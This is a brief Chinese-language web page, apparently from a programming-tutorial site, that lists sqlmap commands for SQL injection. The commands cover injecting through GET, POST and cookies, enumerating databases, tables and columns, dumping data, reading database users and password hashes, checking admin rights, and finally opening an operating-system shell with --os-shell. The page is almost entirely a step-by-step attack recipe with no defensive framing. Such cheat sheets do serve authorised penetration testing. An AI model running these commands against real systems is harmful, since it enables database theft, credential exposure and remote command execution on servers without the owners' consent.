C语言学习网

sqlmap命令

发表于:2022-12-07 作者:安全数据网编辑
编辑最后更新 2022年12月07日,SQLMAPGET 方式的注入 sqlmap.py -u "URL"POST 方式的注入 sqlmap.py -u "URL" --data "POST参数=POST数值"COOKIE 方式的注入 s

SQLMAP

GET 方式的注入 sqlmap.py -u "URL"

POST 方式的注入 sqlmap.py -u "URL" --data "POST参数=POST数值"

COOKIE 方式的注入 sqlmap.py -u "URL" --cookie "cookies 值"


爆数据库名(cookie根据实际的情况) sqlmap.py -u "URL" [--cookie "cookies 值"] --dbs

爆目标数据库中的表 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 --tables

爆目标数据表字段 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 -T 表名 --columns

导出目标字段的数据 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 -T 表名 -C 要导出数据的字段名,多个字段用逗号分隔 --dump


爆出目标库有多少数据 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 --count


检测当前用户 sqlmap.py -u "URL" [--cookie "cookies 值"] --current-user

检测当前用户是否管理员 sqlmap.py -u "URL" [--cookie "cookies 值"] --is-dba

检测数据库用户 sqlmap.py -u "URL" [--cookie "cookies 值"] --user -v 0

检测数据库用户密码 sqlmap.py -u "URL" [--cookie "cookies 值"] --password -v 0

检测当前数据库 sqlmap.py -u "URL" [--cookie "cookies 值"] --current-db

多线程 -threading 5


如果是管理员,我们可以写Shell


操作系统Shell写入

sqlmap.py -u "URL" [--cookie "cookies 值"] --os-shell


0